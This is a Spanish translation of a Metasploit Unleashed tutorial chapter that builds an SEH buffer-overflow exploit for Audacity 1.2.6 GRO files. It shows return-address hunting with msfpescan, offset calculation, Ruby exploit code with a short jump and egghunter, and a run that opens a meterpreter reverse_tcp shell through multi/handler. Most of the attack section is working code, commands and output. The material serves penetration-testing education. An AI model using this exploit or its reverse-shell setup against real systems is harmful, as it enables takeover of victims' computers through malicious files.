Metasploit Unleashed en Espanol (7.2.1/18)

20.2.10

Encontrando la direccion Return

Este es un desbordamiento SEH estandar. Podemos notar que algunos de los usuarios introducira un  "pop, pop, ret" lejos de la pila. Algo interesante que notar de la captura de pantalla de abajo es el hecho que enviamos 2000 bytes en el payload. Sin embargo, pareciera que cuando regresamos al buffer, se trancara. Tenemos alrededor de 80 bytes de espacio para nuestro codigo shell (marcado en azul). Usamos la funcion !safeseh de Immunity para localizar las dll's desprotegidas desde el cual la direccion de retorno puede ser encontrada.

Photobucket

Copiamos encima el DLL y buscamos una instruccion combianda de POP POP RET usando msfpescan.

root@bt4:/pentest/exploits/framework3# ./msfpescan -p libfftw3f-3.dll

[libfftw3f-3.dll]
0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret

0x637f597b pop edi; pop ebp; ret
0x637f5bb6 pop edi; pop ebp; ret

root@bt4:/pentest/exploits/framework3#


PoC para Exploit

Mientras usamos la funcion pattern_create para crear el buffer inicial, podemos ahora calcular la longitud del buffer necesaria para sobrescribir el manejador de excepciones.

root@bt4:/pentest/exploits/framework3/tools# ./pattern_offset.rb 67413966
178
root@bt4:/pentest/exploits/framework3/tools#


Modificamos el exploit como corresponde introduciendo una direccion valida de retorno.

[ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ],

Ahora ajustamos el buffer para redirigir el flujo de la ejecucion al momento del error hacia la direccion de retorno, salta sobre de el (xEB es un "salto corto") y luego cae en el punto de interrupcion del buffer (xCC).

def exploit
buff = "\x41" * 174
buff << "\xeb\x06\x41\x41" buff << [target.ret].pack('V') buff << "\xCC" * 2000 print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buff) end


Una vez mas, generamos el archivo de exploit, adjuntando Audacity al depurador y importando el archivo malicioso. En este momento, el SEH deberia sobrescribir la direccion, la que nos llevara a la instruccion pop, pop, ret. Establecemos un punto de interrupcion alli, y una vez mas, tomamos la excepcion con shift + F9 y caminamos a travez de pop pop ret con F8.

Photobucket

El salto corto nos lleva a la direccion de retorno, dentro del "codigo shell del buffer".

Photobucket

Otra vez, tenemos muy poco espacio de buffer para nuestro payload. Una rapida inspeccion de la memoria revela que la longitud del todo el buffer puede ser encontrada en el monton. Sabiendo esto, podriamos utilizar los 80 bytes iniciales de espacio para ejecutar un egghunter, lo que buscara y encontrara el payload secundario.

Photobucket

Implementar el MSF egghunter es relativamente facil:

def exploit
hunter = generate_egghunter
egg = hunter[1]

buff = "\x41" * 174
buff << "\xeb\x06\x41\x41" buff << [target.ret].pack('V') buff << "\x90"*4 buff << hunter[0] buff << "\xCC" * 200 buff << egg + egg buff << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buff) end


El exploit final debe ser parecido a este: http://www.offensive-security.com/msf/audacity.rb

Ejecutamos el exploit final a traves de un depurador para estar seguros que todo esta bien. Podemos ver que el egghunter ha sido implementado correctamente y funciona perfectamente.

Photobucket

Usamos el exploit final:

root@bt4:/pentest/exploits/framework3# ./msfconsole

=[ msf v3.3-dev
+ -- --=[ 397 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 181 aux

msf > search audacity
[*] Searching loaded modules for pattern 'audacity'...

Exploits
========

Name Description
---- -----------
windows/fileformat/audacity Audacity 1.2.6 (GRO File) SEH Overflow.

msf > use windows/fileformat/audacity
msf exploit(audacity) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(audacity) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME auda_eviL.gro yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file.


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.2.15 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Audacity Universal 1.2


msf exploit(audacity) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Creating 'auda_eviL.gro' file ...
[*] Generated output file /pentest/exploits/framework3/data/exploits/auda_eviL.gro
[*] Exploit completed, but no session was created.


Y obtenemos una shell meterpreter!

msf exploit(audacity) > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.15
LHOST => 192.168.2.15
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.109:1445)

meterpreter >


Aqui encontraran un video de Immunity pasando por el funcionamiento de un exploit:

http://www.youtube.com/watch?v=LfgAXfAWQXM


© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

0 comentarios:

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.